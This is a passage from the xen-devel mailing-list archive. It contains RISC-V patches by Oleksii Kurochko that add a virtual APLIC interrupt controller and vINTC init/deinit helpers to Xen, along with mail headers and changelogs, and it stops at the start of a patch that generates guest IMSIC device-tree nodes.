 create mode 100644 xen/arch/riscv/vaplic.c

diff --git a/xen/arch/riscv/Makefile b/xen/arch/riscv/Makefile
index 9df8b72b5494..9d8d21b65188 100644
--- a/xen/arch/riscv/Makefile
+++ b/xen/arch/riscv/Makefile
@@ -25,6 +25,7 @@ obj-y += smpboot.o
 obj-y += stubs.o
 obj-y += time.o
 obj-y += traps.o
+obj-y += vaplic.o
 obj-y += vmid.o
 obj-y += vm_event.o
 obj-y += vsbi/
diff --git a/xen/arch/riscv/domain.c b/xen/arch/riscv/domain.c
index c9933147595e..45712d305975 100644
--- a/xen/arch/riscv/domain.c
+++ b/xen/arch/riscv/domain.c
@@ -11,6 +11,7 @@
 #include <asm/bitops.h>
 #include <asm/cpufeature.h>
 #include <asm/csr.h>
+#include <asm/intc.h>
 #include <asm/riscv_encoding.h>
 #include <asm/vtimer.h>
 
@@ -155,14 +156,8 @@ int arch_vcpu_create(struct vcpu *v)
     if ( (rc = vcpu_vtimer_init(v)) )
         goto fail;
 
-    /*
-     * As interrupt controller (IC) is not yet implemented,
-     * return an error.
-     *
-     * TODO: Drop this once IC is implemented.
-     */
-    rc = -EOPNOTSUPP;
-    goto fail;
+    if ( (rc = v->domain->arch.vintc->ops->vcpu_init(v)) )
+        goto fail;
 
     return rc;
 
diff --git a/xen/arch/riscv/include/asm/aplic.h b/xen/arch/riscv/include/asm/aplic.h
index b0724fe6f360..5a7fcb6ec4f1 100644
--- a/xen/arch/riscv/include/asm/aplic.h
+++ b/xen/arch/riscv/include/asm/aplic.h
@@ -15,8 +15,15 @@
 
 #include <asm/imsic.h>
 
+/*
+ * domaincfg read-only fields (AIA spec):
+ *  - bits [31:24] -> read-only 0x80
+ *  - bit 7        -> read-only 0
+ */
+#define APLIC_DOMAINCFG_RO      (0x80U << 24)
 #define APLIC_DOMAINCFG_IE      BIT(8, U)
 #define APLIC_DOMAINCFG_DM      BIT(2, U)
+#define APLIC_DOMAINCFG_BE      BIT(0, U)
 
 #define APLIC_SOURCECFG_SM_INACTIVE     0x0
 #define APLIC_SOURCECFG_SM_DETACH       0x1
diff --git a/xen/arch/riscv/include/asm/intc.h b/xen/arch/riscv/include/asm/intc.h
index a4e678fad90b..5330666e139e 100644
--- a/xen/arch/riscv/include/asm/intc.h
+++ b/xen/arch/riscv/include/asm/intc.h
@@ -17,6 +17,7 @@ enum intc_variant {
 struct cpu_user_regs;
 struct irq_desc;
 struct kernel_info;
+struct vcpu;
 
 struct intc_info {
     enum intc_variant hw_variant;
@@ -53,8 +54,19 @@ struct vintc_init_ops {
     int (*make_domu_dt_node)(struct kernel_info *kinfo);
 };
 
+struct vintc_ops {
+    /* Initialize some vINTC-related stuff for a vCPU */
+    int (*vcpu_init)(struct vcpu *v);
+
+    /* Deinitialize some vINTC-related stuff for a vCPU */
+    void (*vcpu_deinit)(struct vcpu *v);
+};
+
 struct vintc {
+    /* Used during domain build only; dropped afterwards. */
     const struct vintc_init_ops *init_ops;
+    /* Runtime callbacks used for the lifetime of the guest. */
+    const struct vintc_ops *ops;
 };
 
 void intc_preinit(void);
diff --git a/xen/arch/riscv/include/asm/vaplic.h b/xen/arch/riscv/include/asm/vaplic.h
new file mode 100644
index 000000000000..96080bfbc23b
--- /dev/null
+++ b/xen/arch/riscv/include/asm/vaplic.h
@@ -0,0 +1,34 @@
+/* SPDX-License-Identifier: MIT */
+/*
+ * xen/arch/riscv/vaplic.c
+ *
+ * Virtual RISC-V Advanced Platform-Level Interrupt Controller support
+ *
+ * Copyright (c) Microchip.
+ */
+
+#ifndef ASM__RISCV__VAPLIC_H
+#define ASM__RISCV__VAPLIC_H
+
+#include <xen/kernel.h>
+#include <xen/types.h>
+
+#include <asm/intc.h>
+
+struct domain;
+
+#define to_vaplic(d) container_of((d)->arch.vintc, struct vaplic, vintc)
+
+struct vaplic_regs {
+    uint32_t domaincfg;
+};
+
+struct vaplic {
+    struct vintc vintc;
+    struct vaplic_regs regs;
+};
+
+int domain_vaplic_init(struct domain *d);
+void domain_vaplic_deinit(struct domain *d);
+
+#endif /* ASM__RISCV__VAPLIC_H */
diff --git a/xen/arch/riscv/vaplic.c b/xen/arch/riscv/vaplic.c
new file mode 100644
index 000000000000..c813979a2ecb
--- /dev/null
+++ b/xen/arch/riscv/vaplic.c
@@ -0,0 +1,62 @@
+/* SPDX-License-Identifier: MIT */
+/*
+ * xen/arch/riscv/vaplic.c
+ *
+ * Virtual RISC-V Advanced Platform-Level Interrupt Controller support
+ *
+ * Copyright (c) Microchip.
+ * Copyright (c) Vates
+ */
+
+#include <xen/errno.h>
+#include <xen/sched.h>
+#include <xen/xvmalloc.h>
+
+#include <asm/aia.h>
+#include <asm/imsic.h>
+#include <asm/intc.h>
+#include <asm/vaplic.h>
+
+#include "aplic-priv.h"
+
+static int cf_check vaplic_init(struct vcpu *v)
+{
+    return vcpu_imsic_init(v);
+}
+
+static void cf_check vaplic_deinit(struct vcpu *v)
+{
+    return vcpu_imsic_deinit(v);
+}
+
+static const struct vintc_ops vintc_ops = {
+    .vcpu_init = vaplic_init,
+    .vcpu_deinit = vaplic_deinit,
+};
+
+int domain_vaplic_init(struct domain *d)
+{
+    struct vaplic *vaplic = xvzalloc(struct vaplic);
+
+    if ( !vaplic )
+        return -ENOMEM;
+
+    d->arch.vintc = &vaplic->vintc;
+    d->arch.vintc->ops = &vintc_ops;
+
+    vaplic->regs.domaincfg = APLIC_DOMAINCFG_RO;
+
+    return 0;
+}
+
+void domain_vaplic_deinit(struct domain *d)
+{
+    struct vaplic *vaplic;
+
+    if ( !d->arch.vintc )
+        return;
+
+    vaplic = to_vaplic(d);
+    d->arch.vintc = NULL;
+    xvfree(vaplic);
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366979.1616862 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQ9-0008Vt-Dy; Mon, 20 Jul 2026 16:00:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366979.1616862; Mon, 20 Jul 2026 16:00:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQ8-0008Uj-No; Mon, 20 Jul 2026 16:00:44 +0000
Received: by outflank-mailman (input) for mailman id 1366979;
 Mon, 20 Jul 2026 16:00:43 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqQ6-00085f-Sc
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqQ6-00HTZO-9C
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:42 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4615-2eae-0a2a0a5409dd-0a2a4503ae26-44
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:42 +0200
Received: from [209.85.221.44] (helo=mail-wr1-f44.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e462a-fae8-0a2a45030019-d155dd2ce029-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:42 +0200
Received: by mail-wr1-f44.google.com with SMTP id
 ffacd0b85a97d-47f3b39f2a1so4922713f8f.2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:42 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.39
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:39 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563242; x=1785168042; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=7PR8dTPk2Iy7WHpPzeSLIaD4BXd6K6Qr9Xmib8pSojg=;
        b=F7eJfKV2Rexz6eN/YHHtkdxIiH3lJrJEgG1kfJXXhIEd+QJvWaIoFipDTe25G0TH1R
         J80uOZ5SIj3Skv8mGYwnrUpf/rN90ruJ0c9KQnCvpcbu/iW2xU14Y8pVh0ddJ3jnhA+Y
         qQ5V8TPn9MFyY17TH/c7WL26W2WWzhyf5Z1lsnxHOSf/pcJRYlZ1Dbqms0yNSMQpj/wc
         lfyOxmDPhn3GSUA7yaut1x6BT6CPzBObFL8/j5k15CslFjl10ALKqe+NBNqmAxq+PwD9
         hAQ6NyXAgiXb8RZ/kLhVP0NIB5lLv5yJgSQJRZyxkOxKh6SP7fmoShCnfJWwYkWLMiwg
         6GNw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563242; x=1785168042;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=7PR8dTPk2Iy7WHpPzeSLIaD4BXd6K6Qr9Xmib8pSojg=;
        b=nnO91MWfO2du+1/AzcPkQuu1Rls6HI2T7aBCkhGjTbMnPGpi1ULUzSKOTkf9aK9pZP
         doEte33Onhf29WSWJ7x4G65tyWHQq8OXwAMcS0Nfw4o9xpoVWVlWkZ7Mgrh2kmZ5V1Rz
         q+bXZs0c5CHwGAzE8JPtER2ePLNfJ0L/g3OqC1KdFDGc1N84w3TQf8SwI2u5PM8KhQwY
         HksRBx8sQq+GCb54LNVs6mh1RFUn5tU3cfcWbmfM52/izd80VSxC8aw1it65/9JZODsh
         WJCAuCW2klXAItmsqR2lXh3Zs5/chJAy07vmQ3BIcrN5rD8CR2dXFSVR8/TmDaPvDbs7
         CXTA==
X-Gm-Message-State: AOJu0Ywk/8cZGyDZ+bj5zUtAR/e4toLui57gxbfj7N8HLPGL6Zt3GB9Z
	dg2W258BfUA6TT4x1pLagRAJyN78udZ7BsB0byLIbedXbANdunQJDCuxdSWwlQ==
X-Gm-Gg: AR+sD130cKYyHaVRjum8Sa/kkvHONhe5G+htLJN6GAA6XTcGzwuOqE9VbcUPMGsxUqq
	p8cxa7E+qsufPwwu/Vtb1PzsUeX1WUNu8x1IHGNrYY6ns4bF+UuVLi7giPbwbIlirqK9etqT7q+
	Xia4d77EXVqged/Vg6i6q0uVdx455p35jnjwGem6VEqSFbQRfp4WOQNlQS1kEctf8X1yMwz8Sry
	BAcP70IQ8wtuJbYbz4ZTuxBO4ioYhf7D1JLqXl5+6Lo0eU6X3Nbxn0sPuH+eE46X9l8uLMaqj2z
	ASgSDp///sJX3BixpqYiME43C/TyD52AgRZV64ZarNmbdCugfGv9zjpFZ1E7HdfanIHrESJJWV1
	I4Lzw9diMe+AD5Q6kUufsT3haY5pXfnqgTGE32O86xSXzulnU1DWl7+GGGkq72g6WIbRm4EHw1t
	hWafaf0GWcPgzcwzb9LMvUI6Ay1Y18kJUlDSZAu2KLGazwo5s=
X-Received: by 2002:a05:6000:188f:b0:476:8d5:cf34 with SMTP id ffacd0b85a97d-47f622f2c57mr17730288f8f.8.1784563241247;
        Mon, 20 Jul 2026 09:00:41 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 15/23] xen/riscv: introduce (de)initialization helpers for vINTC
Date: Mon, 20 Jul 2026 17:59:56 +0200
Message-ID: <13bdc64635f7c87b7bb574bdf3f3139422fa8c59.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1784563242-756834E9-E96D372C/10/73395122804
X-purgate-type: spam
X-purgate-size: 3633

Add common helpers domain_vintc_init() and domain_vintc_deinit() to
allocate and deallocate a virtual interrupt controller (vINTC)
structure and initialize basic virtual interrupt controller registers.

domain_vintc_deinit() isn't called at the moment as arch_domain_destroy()
is implemented as stub at the moment.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v6:
 - Nothing changed. Only rebase.
---
Changes in v5:
 - s/printk/printk_once().
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
---
Changes in v4:
 - Drop the comment from domain_vintc_init() about guests receiving a
   virtual interrupt controller that mirrors the host hardware as there
   can (and eventually should) be alternatives.
 - Finish renaming intc_version to intc_variant in domain_vintc_(de)init()
   (enum intc_variant, info->hw_variant, local variable) started in the
   prev patch.
---
Changes in v3:
 - Drop redundant printk() from domain_vintc_deinit()'s default case to
   avoid duplicate messages when init fails.
 - Add a comment to domain_vintc_init() clarifying that guests currently
   receive a virtual interrupt controller that mirrors the host hardware.
---
Changes in v2:
 - Drop __init for domain_vintc_(de)init().
 - Update the commit message.
---
---
 xen/arch/riscv/domain.c           |  3 +++
 xen/arch/riscv/include/asm/intc.h |  3 +++
 xen/arch/riscv/intc.c             | 35 +++++++++++++++++++++++++++++++
 3 files changed, 41 insertions(+)

diff --git a/xen/arch/riscv/domain.c b/xen/arch/riscv/domain.c
index 45712d305975..4db9c28662c7 100644
--- a/xen/arch/riscv/domain.c
+++ b/xen/arch/riscv/domain.c
@@ -308,6 +308,9 @@ int arch_domain_create(struct domain *d,
     if ( (rc = p2m_init(d, config)) != 0)
         goto fail;
 
+    if ( (rc = domain_vintc_init(d)) )
+        goto fail;
+
     return rc;
 
  fail:
diff --git a/xen/arch/riscv/include/asm/intc.h b/xen/arch/riscv/include/asm/intc.h
index 5330666e139e..dad4c5fab08b 100644
--- a/xen/arch/riscv/include/asm/intc.h
+++ b/xen/arch/riscv/include/asm/intc.h
@@ -79,4 +79,7 @@ void intc_route_irq_to_xen(struct irq_desc *desc, unsigned int priority);
 
 void intc_handle_external_irqs(struct cpu_user_regs *regs);
 
+int domain_vintc_init(struct domain *d);
+void domain_vintc_deinit(struct domain *d);
+
 #endif /* ASM__RISCV__INTERRUPT_CONTOLLER_H */
diff --git a/xen/arch/riscv/intc.c b/xen/arch/riscv/intc.c
index 2864a896b677..f5c8af6ddea4 100644
--- a/xen/arch/riscv/intc.c
+++ b/xen/arch/riscv/intc.c
@@ -11,6 +11,7 @@
 
 #include <asm/aia.h>
 #include <asm/intc.h>
+#include <asm/vaplic.h>
 
 static const struct intc_hw_operations *__ro_after_init intc_hw_ops;
 
@@ -83,3 +84,37 @@ int __init make_intc_domU_node(struct kernel_info *kinfo)
 
     return vintc->init_ops->make_domu_dt_node(kinfo);
 }
+
+int domain_vintc_init(struct domain *d)
+{
+    int ret = -EOPNOTSUPP;
+    const enum intc_variant variant = intc_hw_ops->info->hw_variant;
+
+    switch ( variant )
+    {
+    case INTC_APLIC:
+        ret = domain_vaplic_init(d);
+        break;
+
+    default:
+        printk_once("vintc (variant:%d) isn't implemented\n", variant);
+        break;
+    }
+
+    return ret;
+}
+
+void domain_vintc_deinit(struct domain *d)
+{
+    const enum intc_variant variant = intc_hw_ops->info->hw_variant;
+
+    switch ( variant )
+    {
+    case INTC_APLIC:
+        domain_vaplic_deinit(d);
+        break;
+
+    default:
+        break;
+    }
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366988.1616867 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQB-0000Ry-0a; Mon, 20 Jul 2026 16:00:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366988.1616867; Mon, 20 Jul 2026 16:00:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQA-0000QN-Jy; Mon, 20 Jul 2026 16:00:46 +0000
Received: by outflank-mailman (input) for mailman id 1366988;
 Mon, 20 Jul 2026 16:00:44 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqQ8-0008OC-BE
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqQ7-00CGmJ-OE
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:43 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4621-bab6-0a2a0a5309dd-0a2a4506c59a-20
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:43 +0200
Received: from [209.85.221.44] (helo=mail-wr1-f44.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e462b-195a-0a2a45060019-d155dd2cbd28-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:43 +0200
Received: by mail-wr1-f44.google.com with SMTP id
 ffacd0b85a97d-4798bea72f9so5375167f8f.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:43 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.41
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:42 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563243; x=1785168043; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=NbuRmpC39myLZBOcrqwxf/JV61XKJOSd3/cfGeKXU4w=;
        b=AtoosRv9v35cl7kMjhcv8ZPpF2Tppo2jg5Q65uLySIWEuiKShAcdxXCR3yCiyFM5+m
         BKaWaTp5aCnsMfJN6vaJ/HWPscKwR20nsf1wTtpb2pCPOWR6ldq3HswOuMjx3d2mu6oK
         jZ1cjItVD6cw1fhhtMSxbS8kNDEAgJKdmKtM33MLs2aqHMr5TRwXeAy51c5newz54p8G
         B2oTuHxn+wsCOq2uwMqORMLNXZHtNks3vdIl6XLdRSoB5CyMqEzgMrztBicGmlOjZ24Q
         puS1eEm0wgPieGYM8ZxAZ0n1+Lj5Lt+wZVHlKcAhD6AOXh/F6dzL6NHBI726EgH6pMni
         wneg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563243; x=1785168043;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=NbuRmpC39myLZBOcrqwxf/JV61XKJOSd3/cfGeKXU4w=;
        b=ex7bnpqgeTxeAX3BtFJAkU5GT4VPVmcX9UfeVPAkfcYz93hJnKFsRXLIwXWeBnyQYv
         VjrMR642TZ79bjpUHNXa9gvx1LT4tBlC+778MYFs2trR0XOcPyT2sRdX3mZXwM5G9d0n
         0CELIKWkUyYBi3AFFCRRdRDHdSbhWi/ODfNodFt2BrD4c4UkOjvAUi1O1dlIwDUciOW3
         cHW1jWxPmSPVQ03TWAmaubgJP1YU2T4Lm6vfjBmp5hw+FjT7p67NfRW+6vD3ysDqPmgw
         4Z+P2xNSAriDc04wYc94nOSieynOTx3fb0rTxZQdVNzv6XfMe2EdYSO9voXmHhWIEldX
         feAQ==
X-Gm-Message-State: AOJu0YwZ/hDaStVHOj4JLNYAp/mDoG886AE0C5DSVtDkAH2N9sdI8hgU
	NbwGF44XK/R0mUNuP4FsG33EyC88FZp5UkdPbnqOoWdrMCdQ+vwakble76Cl0Q==
X-Gm-Gg: AR+sD120woPyqPJ0NOXzwZE5pbw4XCjaMMTRm8y9vYAUzqGXAeZyKo1vRaMqo+v+69O
	a6PVGJNZU6gowW5AptGv+ZfcV3fqhnJIh9UcLP+yt12LfF5GwPKSJiMsXcWkbWKulPdL7p/1gcu
	VtXsSFRkgtgWKRrFFkItlbGBczD8EZr7yfGczASQRe1OXJ5opF0oCm43elk2miWHdkxTL0YgspX
	mSnKON2bVpnaAOPb7dq3JEh8SzOTfNtgZBhpfX9zY5eG/AmLUuwuVArYWnjk8h2gqQe5awXlHrr
	/1vwH14iGjRKuHHAnTAx/KSbG9TuPmD1Ycv0Bjqwv6CJ6tRLHUoGyWsujHfH5GF854RLGxUL/c5
	nJv67j+I4iQstvXzIdXqiuC5W1a1CXXGh/GgwdCO2SDYmMQAmA3aBzt5sLpP4SHPbxDnEJCrVFS
	5RKhsdRjGL6XTKUsc0aSON4FIpZ7eKwdpKT+iuhuaN7AezK4I=
X-Received: by 2002:a05:6000:ec7:b0:47f:77a8:7e20 with SMTP id ffacd0b85a97d-47f77a87e95mr4561762f8f.35.1784563242953;
        Mon, 20 Jul 2026 09:00:42 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 16/23] xen/riscv: generate IMSIC DT node for guest domains
Date: Mon, 20 Jul 2026 17:59:57 +0200
Message-ID: <332481b9d8e17126a1ca9b52c6e7f0fefb34ca1b.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1784563243-F647377B-A45CF9F6/10/73395122804
X-purgate-type: spam
X-purgate-size: 10617

Guests using the IMSIC interrupt controller require a corresponding
Device Tree description.

Add support for generating an IMSIC node when building the guest DT.
This allows guests to discover and use the IMSIC interrupt controller.

The value choosen for GUEST_IMSIC_S_BASE is an address which is typically
used for IMSIC and QEMU.

DT-building functions are marked __init because domain creation happens at
boot time, before the init sections are freed. In a typical deployment
libxl creates the interrupt controller node in userspace and hands the
complete FDT to Xen, so these functions are only called during early
domain construction.

Co-developed-by: Romain Caritey <Romain.Caritey@microchip.com>
Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v6:
 - Simplify initialization of guest_num_msis.
 - s/sizeof(vimsic_name)/ARRAY_SIZE(...).
 - Add empty line between declaration(s) and statement(s) in make_domu_dt_node().
 - define GUEST_IMSIC_MAX_MSIS as 255U to avoid '+0U' when min(...) is used.
---
Changes in v5:
 - s/GUEST_IMSIC_NUM_MSIS/GUEST_IMSIC_MAX_MSIS throughout.
 - Changed __read_mostly â†’ __ro_after_init on guest_num_msis, since the value
   is set once during __init and never again.
 - Made imsic_parse_node() __init.
 - Moved the min(GUEST_IMSIC_MAX_MSIS, ...) cap into imsic_parse_node() right
   after guest_num_msis is assigned, so the bound is applied once at init
   time rather than on every DT node construction call.
 - Removed the now-unnecessary num_msis local variable from
   vimsic_make_domu_dt_node(); guest_num_msis is used directly.
 - s/snprintf(buf, sizeof(buf), ...)/snprintf(buf, ARRAY_SIZE(buf), ...)
   in guest_imsic_set_interrupt_extended_prop().
 - Added decl. of vimsic_make_domu_dt_node() in this patch instead of next.
---
Changes in v4:
 - Add a comment for guest_num_msis explaining that it is host-dependent
   and therefore identical for every domain, which is why a single global
   is used instead of a per-domain value.
 - Reduce vimsic_name[] from 128 to 32 bytes, which is enough to hold
   "/soc/imsic@" plus a 64-bit hex address.
 - Add a comment before GUEST_IMSIC_S_BASE noting that the value is the
   address typically used for IMSIC by QEMU.
 - s/__ULL/_UL for defintion of GUEST_IMSIC_S_BASE.
---
Changes in v3:
 - s/__ro_after_init/__read_mostly for guest_num_msis.
 - Use IMSIC_MAX_ID as default for guest_num_msis instead of imsic_cfg.nr_ids.
 - Drop base_addr local variable in guest_imsic_make_reg_property(); use
   GUEST_IMSIC_S_BASE directly and introduce size to avoid spelling
   IMSIC_MMIO_PAGE_SZ * d->max_vcpus twice.
 - Change irq_ext type from uint32_t * to __be32 * in
   guest_imsic_set_interrupt_extended_prop().
 - Move phandle declaration into the loop body.
 - Extend commit message to explain why __init is used for DT-building
   functions: libxl creates the interrupt controller node before handing
   the FDT to Xen, so these functions are only invoked during boot-time
   domain construction.
 - Re-order patch before APLIC DT node creation patch.
 - Update commit message.
---
Changes in v2:
 - s/imsic_make_reg_property/guest_imsic_make_reg_property.
 - s/imsic_set_interrupt_extended_prop/guest_imsic_set_interrupt_extended_prop.
 - Use initalizer for regs[] array in imsic_make_reg_property().
 - Move buf[] insde the for() loop.
 - Correct check of returned phandle.
 - Drop local variable len.
 - /s/XVFREE/xvfree in imsic_set_interrupt_extended_prop().
 - Drop initializer for local variable data.
 - s/uint32_t/unsinged int for pos and cpu in imsic_set_interrupt_extended_prop().
 - Drop next_phandle as it is now in common code.
 - Introduce vcpu_imsic_deinit.
 - Refactor vimsic_make_domu_dt_node() to avoid usage of host IMSIC dt node.
---
---
 xen/arch/riscv/imsic.c                    | 143 +++++++++++++++++++++-
 xen/arch/riscv/include/asm/guest-layout.h |   6 +
 xen/arch/riscv/include/asm/imsic.h        |   3 +
 3 files changed, 151 insertions(+), 1 deletion(-)

diff --git a/xen/arch/riscv/imsic.c b/xen/arch/riscv/imsic.c
